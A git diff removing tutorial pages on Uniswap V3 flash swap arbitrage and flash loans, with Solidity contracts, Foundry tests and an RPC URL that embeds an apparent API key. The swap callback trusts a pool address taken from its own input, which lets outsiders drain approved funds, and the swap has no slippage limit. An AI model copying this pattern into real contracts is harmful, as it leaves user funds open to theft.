hlZCB0bywgdWludCB2YWx1ZSk7CiAgICBldmVudCBBcHByb3ZhbChhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50IHZhbHVlKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50IGFtb3VudCkgZXh0ZXJuYWw7Cn0K", - }, - { - fileName: "UniswapV3FlashSwapTest.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICJmb3JnZS1zdGQvY29uc29sZS5zb2wiOwoKaW1wb3J0ICIuLi9zcmMvVW5pc3dhcFYzRmxhc2hTd2FwLnNvbCI7Cgpjb250cmFjdCBVbmlzd2FwVjNGbGFzaFN3YXBUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVVNEQyA9IDB4QTBiODY5OTFjNjIxOGIzNmMxZDE5RDRhMmU5RWIwY0UzNjA2ZUI0ODsKCiAgICBJV0VUSCBwcml2YXRlIHdldGggPSBJV0VUSChXRVRIKTsKCiAgICBVbmlzd2FwVjNGbGFzaFN3YXAgcHJpdmF0ZSB1bmkgPSBuZXcgVW5pc3dhcFYzRmxhc2hTd2FwKCk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMge30KCiAgICBmdW5jdGlvbiB0ZXN0Rmxhc2hTd2FwKCkgcHVibGljIHsKICAgICAgICAvLyBVU0RDIC8gV0VUSCBwb29sCiAgICAgICAgYWRkcmVzcyBwb29sMCA9IDB4OGFkNTk5YzNBMGZmMURlMDgyMDExRUZERGM1OGYxOTA4ZWI2ZTZEODsKICAgICAgICB1aW50MjQgZmVlMCA9IDMwMDA7CiAgICAgICAgYWRkcmVzcyBwb29sMSA9IDB4ODhlNkEwYzJkREQyNkZFRWI2NEYwMzlhMmM0MTI5NkZjQjNmNTY0MDsKICAgICAgICB1aW50MjQgZmVlMSA9IDUwMDsKCiAgICAgICAgLy8gQXBwcm92ZSBXRVRIIGZlZQogICAgICAgIHVpbnQgd2V0aE1heEZlZSA9IDFlMTg7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiB3ZXRoTWF4RmVlfSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIHdldGhNYXhGZWUpOwoKICAgICAgICB1aW50IGJhbEJlZm9yZSA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVuaS5mbGFzaFN3YXAocG9vbDAsIGZlZTEsIFdFVEgsIFVTREMsIDEwICogMWUxOCk7CiAgICAgICAgdWludCBiYWxBZnRlciA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwoKICAgICAgICBpZiAoYmFsQWZ0ZXIgPj0gYmFsQmVmb3JlKSB7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKCJXRVRIIHByb2ZpdCIsIGJhbEFmdGVyIC0gYmFsQmVmb3JlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBjb25zb2xlLmxvZygiV0VUSCBsb3NzIiwgYmFsQmVmb3JlIC0gYmFsQWZ0ZXIpOwogICAgICAgIH0KICAgIH0KfQo=", - }, -] - -const html = `

Uniswap V3 Flash Swap Arbitrage Example

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract UniswapV3FlashSwap {
-    ISwapRouter constant router =
-        ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
-
-    uint160 internal constant MIN_SQRT_RATIO = 4295128739;
-    uint160 internal constant MAX_SQRT_RATIO =
-        1461446703485210103287273052203988822378723970342;
-
-    // Example WETH/USDC
-    // Sell WETH high      -> Buy WETH low        -> WETH profit
-    // WETH in -> USDC out -> USDC in -> WETH out -> WETH profit
-    function flashSwap(
-        address pool0,
-        uint24 fee1,
-        address tokenIn,
-        address tokenOut,
-        uint amountIn
-    ) external {
-        bool zeroForOne = tokenIn < tokenOut;
-        uint160 sqrtPriceLimitX96 = zeroForOne
-            ? MIN_SQRT_RATIO + 1
-            : MAX_SQRT_RATIO - 1;
-        bytes memory data = abi.encode(
-            msg.sender,
-            pool0,
-            fee1,
-            tokenIn,
-            tokenOut,
-            amountIn,
-            zeroForOne
-        );
-
-        IUniswapV3Pool(pool0).swap(
-            address(this),
-            zeroForOne,
-            int(amountIn),
-            sqrtPriceLimitX96,
-            data
-        );
-    }
-
-    function uniswapV3SwapCallback(
-        int amount0,
-        int amount1,
-        bytes calldata data
-    ) external {
-        (
-            address caller,
-            address pool0,
-            uint24 fee1,
-            address tokenIn,
-            address tokenOut,
-            uint amountIn,
-            bool zeroForOne
-        ) = abi.decode(data, (address, address, uint24, address, address, uint, bool));
-
-        require(msg.sender == address(pool0), "not authorized");
-
-        uint amountOut;
-        if (zeroForOne) {
-            amountOut = uint(-amount1);
-        } else {
-            amountOut = uint(-amount0);
-        }
-
-        uint buyBackAmount = _swap(tokenOut, tokenIn, fee1, amountOut);
-
-        if (buyBackAmount >= amountIn) {
-            uint profit = buyBackAmount - amountIn;
-            IERC20(tokenIn).transfer(address(pool0), amountIn);
-            IERC20(tokenIn).transfer(caller, profit);
-        } else {
-            uint loss = amountIn - buyBackAmount;
-            IERC20(tokenIn).transferFrom(caller, address(this), loss);
-            IERC20(tokenIn).transfer(address(pool0), amountIn);
-        }
-    }
-
-    function _swap(
-        address tokenIn,
-        address tokenOut,
-        uint24 fee,
-        uint amountIn
-    ) private returns (uint amountOut) {
-        IERC20(tokenIn).approve(address(router), amountIn);
-
-        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
-            .ExactInputSingleParams({
-                tokenIn: tokenIn,
-                tokenOut: tokenOut,
-                fee: fee,
-                recipient: address(this),
-                deadline: block.timestamp,
-                amountIn: amountIn,
-                amountOutMinimum: 0,
-                sqrtPriceLimitX96: 0
-            });
-
-        amountOut = router.exactInputSingle(params);
-    }
-}
-
-interface ISwapRouter {
-    struct ExactInputSingleParams {
-        address tokenIn;
-        address tokenOut;
-        uint24 fee;
-        address recipient;
-        uint deadline;
-        uint amountIn;
-        uint amountOutMinimum;
-        uint160 sqrtPriceLimitX96;
-    }
-
-    function exactInputSingle(
-        ExactInputSingleParams calldata params
-    ) external payable returns (uint amountOut);
-}
-
-interface IUniswapV3Pool {
-    function swap(
-        address recipient,
-        bool zeroForOne,
-        int amountSpecified,
-        uint160 sqrtPriceLimitX96,
-        bytes calldata data
-    ) external returns (int amount0, int amount1);
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint value);
-    event Approval(address indexed owner, address indexed spender, uint value);
-}
-
-interface IWETH is IERC20 {
-    function deposit() external payable;
-
-    function withdraw(uint amount) external;
-}
-

Test with Foundry

-
    -
  1. Copy and paste this into test folder in your foundry project
  2. -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "forge-std/Test.sol";
-import "forge-std/console.sol";
-
-import "../src/UniswapV3FlashSwap.sol";
-
-contract UniswapV3FlashSwapTest is Test {
-    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-    address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
-
-    IWETH private weth = IWETH(WETH);
-
-    UniswapV3FlashSwap private uni = new UniswapV3FlashSwap();
-
-    function setUp() public {}
-
-    function testFlashSwap() public {
-        // USDC / WETH pool
-        address pool0 = 0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8;
-        uint24 fee0 = 3000;
-        address pool1 = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640;
-        uint24 fee1 = 500;
-
-        // Approve WETH fee
-        uint wethMaxFee = 1e18;
-        weth.deposit{value: wethMaxFee}();
-        weth.approve(address(uni), wethMaxFee);
-
-        uint balBefore = weth.balanceOf(address(this));
-        uni.flashSwap(pool0, fee1, WETH, USDC, 10 * 1e18);
-        uint balAfter = weth.balanceOf(address(this));
-
-        if (balAfter >= balBefore) {
-            console.log("WETH profit", balAfter - balBefore);
-        } else {
-            console.log("WETH loss", balBefore - balAfter);
-        }
-    }
-}
-
    -
  1. Execute the following commands to run the test
  2. -
-
FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi
-forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3FlashSwapTest.test.sol
-

Links

-

Foundry

-

Uniswap V3 Foundry example

-` - -export default html diff --git a/src/pages/defi/uniswap-v3-flash-swap/index.md b/src/pages/defi/uniswap-v3-flash-swap/index.md deleted file mode 100644 index dd931962f..000000000 --- a/src/pages/defi/uniswap-v3-flash-swap/index.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Uniswap V3 Flash Swap Arbitrage -version: 0.8.20 -description: Uniswap V3 Flash Swap Arbitrage -keywords: [defi, uniswap, v3, swap, arbitrage, amm] ---- - -### Uniswap V3 Flash Swap Arbitrage Example - -```solidity -{{{UniswapV3FlashSwap}}} -``` - -### Test with Foundry - -1. Copy and paste this into `test` folder in your foundry project - -```solidity -{{{UniswapV3FlashSwapTest}}} -``` - -2. Execute the following commands to run the test - -```shell -FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi -forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3FlashSwapTest.test.sol -``` - -### Links - -Foundry - -Uniswap V3 Foundry example diff --git a/src/pages/defi/uniswap-v3-flash-swap/index.tsx b/src/pages/defi/uniswap-v3-flash-swap/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/uniswap-v3-flash-swap/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/uniswap-v3-flash/UniswapV3Flash.sol b/src/pages/defi/uniswap-v3-flash/UniswapV3Flash.sol deleted file mode 100644 index 3845bb82f..000000000 --- a/src/pages/defi/uniswap-v3-flash/UniswapV3Flash.sol +++ /dev/null @@ -1,140 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract UniswapV3Flash { - address private constant FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; - - struct FlashCallbackData { - uint amount0; - uint amount1; - address caller; - } - - IERC20 private immutable token0; - IERC20 private immutable token1; - - IUniswapV3Pool private immutable pool; - - constructor(address _token0, address _token1, uint24 _fee) { - token0 = IERC20(_token0); - token1 = IERC20(_token1); - pool = IUniswapV3Pool(getPool(_token0, _token1, _fee)); - } - - function getPool( - address _token0, - address _token1, - uint24 _fee - ) public pure returns (address) { - PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( - _token0, - _token1, - _fee - ); - return PoolAddress.computeAddress(FACTORY, poolKey); - } - - function flash(uint amount0, uint amount1) external { - bytes memory data = abi.encode( - FlashCallbackData({amount0: amount0, amount1: amount1, caller: msg.sender}) - ); - IUniswapV3Pool(pool).flash(address(this), amount0, amount1, data); - } - - function uniswapV3FlashCallback( - uint fee0, - uint fee1, - bytes calldata data - ) external { - require(msg.sender == address(pool), "not authorized"); - - FlashCallbackData memory decoded = abi.decode(data, (FlashCallbackData)); - - // Repay borrow - if (fee0 > 0) { - token0.transferFrom(decoded.caller, address(this), fee0); - token0.transfer(address(pool), decoded.amount0 + fee0); - } - if (fee1 > 0) { - token1.transferFrom(decoded.caller, address(this), fee1); - token1.transfer(address(pool), decoded.amount1 + fee1); - } - } -} - -library PoolAddress { - bytes32 internal constant POOL_INIT_CODE_HASH = - 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; - - struct PoolKey { - address token0; - address token1; - uint24 fee; - } - - function getPoolKey( - address tokenA, - address tokenB, - uint24 fee - ) internal pure returns (PoolKey memory) { - if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); - return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); - } - - function computeAddress( - address factory, - PoolKey memory key - ) internal pure returns (address pool) { - require(key.token0 < key.token1); - pool = address( - uint160( - uint( - keccak256( - abi.encodePacked( - hex"ff", - factory, - keccak256(abi.encode(key.token0, key.token1, key.fee)), - POOL_INIT_CODE_HASH - ) - ) - ) - ) - ); - } -} - -interface IUniswapV3Pool { - function flash( - address recipient, - uint amount0, - uint amount1, - bytes calldata data - ) external; -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint value); - event Approval(address indexed owner, address indexed spender, uint value); -} - -interface IWETH is IERC20 { - function deposit() external payable; - - function withdraw(uint amount) external; -} diff --git a/src/pages/defi/uniswap-v3-flash/UniswapV3FlashTest.sol b/src/pages/defi/uniswap-v3-flash/UniswapV3FlashTest.sol deleted file mode 100644 index 44ebdace1..000000000 --- a/src/pages/defi/uniswap-v3-flash/UniswapV3FlashTest.sol +++ /dev/null @@ -1,33 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "forge-std/Test.sol"; -import "forge-std/console.sol"; - -import "../src/UniswapV3Flash.sol"; - -contract UniswapV3FlashTest is Test { - address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; - address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; - uint24 constant POOL_FEE = 3000; - - IWETH private weth = IWETH(WETH); - IERC20 private usdc = IERC20(USDC); - - UniswapV3Flash private uni = new UniswapV3Flash(USDC, WETH, POOL_FEE); - - function setUp() public {} - - function testFlash() public { - // Approve WETH fee - weth.deposit{value: 1e18}(); - weth.approve(address(uni), 1e18); - - uint balBefore = weth.balanceOf(address(this)); - uni.flash(0, 100 * 1e18); - uint balAfter = weth.balanceOf(address(this)); - - uint fee = balBefore - balAfter; - console.log("WETH fee", fee); - } -} diff --git a/src/pages/defi/uniswap-v3-flash/index.html.ts b/src/pages/defi/uniswap-v3-flash/index.html.ts deleted file mode 100644 index e347ad736..000000000 --- a/src/pages/defi/uniswap-v3-flash/index.html.ts +++ /dev/null @@ -1,207 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Uniswap V3 Flash Loan" -export const description = "Uniswap V3 Flash Loan" - -export const keywords = ["defi", "uniswap", "v3", "flash", "loan", "amm"] - -export const codes = [ - { - fileName: "UniswapV3Flash.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoIHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0gMHgxRjk4NDMxYzhhRDk4NTIzNjMxQUU0YTU5ZjI2NzM0NmVhMzFGOTg0OwoKICAgIHN0cnVjdCBGbGFzaENhbGxiYWNrRGF0YSB7CiAgICAgICAgdWludCBhbW91bnQwOwogICAgICAgIHVpbnQgYW1vdW50MTsKICAgICAgICBhZGRyZXNzIGNhbGxlcjsKICAgIH0KCiAgICBJRVJDMjAgcHJpdmF0ZSBpbW11dGFibGUgdG9rZW4wOwogICAgSUVSQzIwIHByaXZhdGUgaW1tdXRhYmxlIHRva2VuMTsKCiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGltbXV0YWJsZSBwb29sOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3Rva2VuMCwgYWRkcmVzcyBfdG9rZW4xLCB1aW50MjQgX2ZlZSkgewogICAgICAgIHRva2VuMCA9IElFUkMyMChfdG9rZW4wKTsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgcG9vbCA9IElVbmlzd2FwVjNQb29sKGdldFBvb2woX3Rva2VuMCwgX3Rva2VuMSwgX2ZlZSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFBvb2woCiAgICAgICAgYWRkcmVzcyBfdG9rZW4wLAogICAgICAgIGFkZHJlc3MgX3Rva2VuMSwKICAgICAgICB1aW50MjQgX2ZlZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgUG9vbEFkZHJlc3MuUG9vbEtleSBtZW1vcnkgcG9vbEtleSA9IFBvb2xBZGRyZXNzLmdldFBvb2xLZXkoCiAgICAgICAgICAgIF90b2tlbjAsCiAgICAgICAgICAgIF90b2tlbjEsCiAgICAgICAgICAgIF9mZWUKICAgICAgICApOwogICAgICAgIHJldHVybiBQb29sQWRkcmVzcy5jb21wdXRlQWRkcmVzcyhGQUNUT1JZLCBwb29sS2V5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaCh1aW50IGFtb3VudDAsIHVpbnQgYW1vdW50MSkgZXh0ZXJuYWwgewogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgRmxhc2hDYWxsYmFja0RhdGEoe2Ftb3VudDA6IGFtb3VudDAsIGFtb3VudDE6IGFtb3VudDEsIGNhbGxlcjogbXNnLnNlbmRlcn0pCiAgICAgICAgKTsKICAgICAgICBJVW5pc3dhcFYzUG9vbChwb29sKS5mbGFzaChhZGRyZXNzKHRoaXMpLCBhbW91bnQwLCBhbW91bnQxLCBkYXRhKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmlzd2FwVjNGbGFzaENhbGxiYWNrKAogICAgICAgIHVpbnQgZmVlMCwKICAgICAgICB1aW50IGZlZTEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IGFkZHJlc3MocG9vbCksICJub3QgYXV0aG9yaXplZCIpOwoKICAgICAgICBGbGFzaENhbGxiYWNrRGF0YSBtZW1vcnkgZGVjb2RlZCA9IGFiaS5kZWNvZGUoZGF0YSwgKEZsYXNoQ2FsbGJhY2tEYXRhKSk7CgogICAgICAgIC8vIFJlcGF5IGJvcnJvdwogICAgICAgIGlmIChmZWUwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXJGcm9tKGRlY29kZWQuY2FsbGVyLCBhZGRyZXNzKHRoaXMpLCBmZWUwKTsKICAgICAgICAgICAgdG9rZW4wLnRyYW5zZmVyKGFkZHJlc3MocG9vbCksIGRlY29kZWQuYW1vdW50MCArIGZlZTApOwogICAgICAgIH0KICAgICAgICBpZiAoZmVlMSA+IDApIHsKICAgICAgICAgICAgdG9rZW4xLnRyYW5zZmVyRnJvbShkZWNvZGVkLmNhbGxlciwgYWRkcmVzcyh0aGlzKSwgZmVlMSk7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2ZlcihhZGRyZXNzKHBvb2wpLCBkZWNvZGVkLmFtb3VudDEgKyBmZWUxKTsKICAgICAgICB9CiAgICB9Cn0KCmxpYnJhcnkgUG9vbEFkZHJlc3MgewogICAgYnl0ZXMzMiBpbnRlcm5hbCBjb25zdGFudCBQT09MX0lOSVRfQ09ERV9IQVNIID0KICAgICAgICAweGUzNGYxOTliMTliMmI0ZjQ3ZjY4NDQyNjE5ZDU1NTUyN2QyNDRmNzhhMzI5N2VhODkzMjVmODQzZjg3YjhiNTQ7CgogICAgc3RydWN0IFBvb2xLZXkgewogICAgICAgIGFkZHJlc3MgdG9rZW4wOwogICAgICAgIGFkZHJlc3MgdG9rZW4xOwogICAgICAgIHVpbnQyNCBmZWU7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UG9vbEtleSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50MjQgZmVlCiAgICApIGludGVybmFsIHB1cmUgcmV0dXJucyAoUG9vbEtleSBtZW1vcnkpIHsKICAgICAgICBpZiAodG9rZW5BID4gdG9rZW5CKSAodG9rZW5BLCB0b2tlbkIpID0gKHRva2VuQiwgdG9rZW5BKTsKICAgICAgICByZXR1cm4gUG9vbEtleSh7dG9rZW4wOiB0b2tlbkEsIHRva2VuMTogdG9rZW5CLCBmZWU6IGZlZX0pOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbXB1dGVBZGRyZXNzKAogICAgICAgIGFkZHJlc3MgZmFjdG9yeSwKICAgICAgICBQb29sS2V5IG1lbW9yeSBrZXkKICAgICkgaW50ZXJuYWwgcHVyZSByZXR1cm5zIChhZGRyZXNzIHBvb2wpIHsKICAgICAgICByZXF1aXJlKGtleS50b2tlbjAgPCBrZXkudG9rZW4xKTsKICAgICAgICBwb29sID0gYWRkcmVzcygKICAgICAgICAgICAgdWludDE2MCgKICAgICAgICAgICAgICAgIHVpbnQoCiAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgaGV4ImZmIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZhY3RvcnksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoYWJpLmVuY29kZShrZXkudG9rZW4wLCBrZXkudG9rZW4xLCBrZXkuZmVlKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBQT09MX0lOSVRfQ09ERV9IQVNICiAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkKICAgICAgICApOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWM1Bvb2wgewogICAgZnVuY3Rpb24gZmxhc2goCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQwLAogICAgICAgIHVpbnQgYW1vdW50MSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQgdmFsdWUpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQgYW1vdW50KSBleHRlcm5hbDsKfQo=", - }, - { - fileName: "UniswapV3FlashTest.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICJmb3JnZS1zdGQvY29uc29sZS5zb2wiOwoKaW1wb3J0ICIuLi9zcmMvVW5pc3dhcFYzRmxhc2guc29sIjsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoVGVzdCBpcyBUZXN0IHsKICAgIGFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgY29uc3RhbnQgVVNEQyA9IDB4QTBiODY5OTFjNjIxOGIzNmMxZDE5RDRhMmU5RWIwY0UzNjA2ZUI0ODsKICAgIHVpbnQyNCBjb25zdGFudCBQT09MX0ZFRSA9IDMwMDA7CgogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSB1c2RjID0gSUVSQzIwKFVTREMpOwoKICAgIFVuaXN3YXBWM0ZsYXNoIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWM0ZsYXNoKFVTREMsIFdFVEgsIFBPT0xfRkVFKTsKCiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7fQoKICAgIGZ1bmN0aW9uIHRlc3RGbGFzaCgpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwcm92ZSBXRVRIIGZlZQogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogMWUxOH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludCBiYWxCZWZvcmUgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1bmkuZmxhc2goMCwgMTAwICogMWUxOCk7CiAgICAgICAgdWludCBiYWxBZnRlciA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwoKICAgICAgICB1aW50IGZlZSA9IGJhbEJlZm9yZSAtIGJhbEFmdGVyOwogICAgICAgIGNvbnNvbGUubG9nKCJXRVRIIGZlZSIsIGZlZSk7CiAgICB9Cn0K", - }, -] - -const html = `

Uniswap V3 Flash Loan Example

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract UniswapV3Flash {
-    address private constant FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
-
-    struct FlashCallbackData {
-        uint amount0;
-        uint amount1;
-        address caller;
-    }
-
-    IERC20 private immutable token0;
-    IERC20 private immutable token1;
-
-    IUniswapV3Pool private immutable pool;
-
-    constructor(address _token0, address _token1, uint24 _fee) {
-        token0 = IERC20(_token0);
-        token1 = IERC20(_token1);
-        pool = IUniswapV3Pool(getPool(_token0, _token1, _fee));
-    }
-
-    function getPool(
-        address _token0,
-        address _token1,
-        uint24 _fee
-    ) public pure returns (address) {
-        PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey(
-            _token0,
-            _token1,
-            _fee
-        );
-        return PoolAddress.computeAddress(FACTORY, poolKey);
-    }
-
-    function flash(uint amount0, uint amount1) external {
-        bytes memory data = abi.encode(
-            FlashCallbackData({amount0: amount0, amount1: amount1, caller: msg.sender})
-        );
-        IUniswapV3Pool(pool).flash(address(this), amount0, amount1, data);
-    }
-
-    function uniswapV3FlashCallback(
-        uint fee0,
-        uint fee1,
-        bytes calldata data
-    ) external {
-        require(msg.sender == address(pool), "not authorized");
-
-        FlashCallbackData memory decoded = abi.decode(data, (FlashCallbackData));
-
-        // Repay borrow
-        if (fee0 > 0) {
-            token0.transferFrom(decoded.caller, address(this), fee0);
-            token0.transfer(address(pool), decoded.amount0 + fee0);
-        }
-        if (fee1 > 0) {
-            token1.transferFrom(decoded.caller, address(this), fee1);
-            token1.transfer(address(pool), decoded.amount1 + fee1);
-        }
-    }
-}
-
-library PoolAddress {
-    bytes32 internal constant POOL_INIT_CODE_HASH =
-        0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
-
-    struct PoolKey {
-        address token0;
-        address token1;
-        uint24 fee;
-    }
-
-    function getPoolKey(
-        address tokenA,
-        address tokenB,
-        uint24 fee
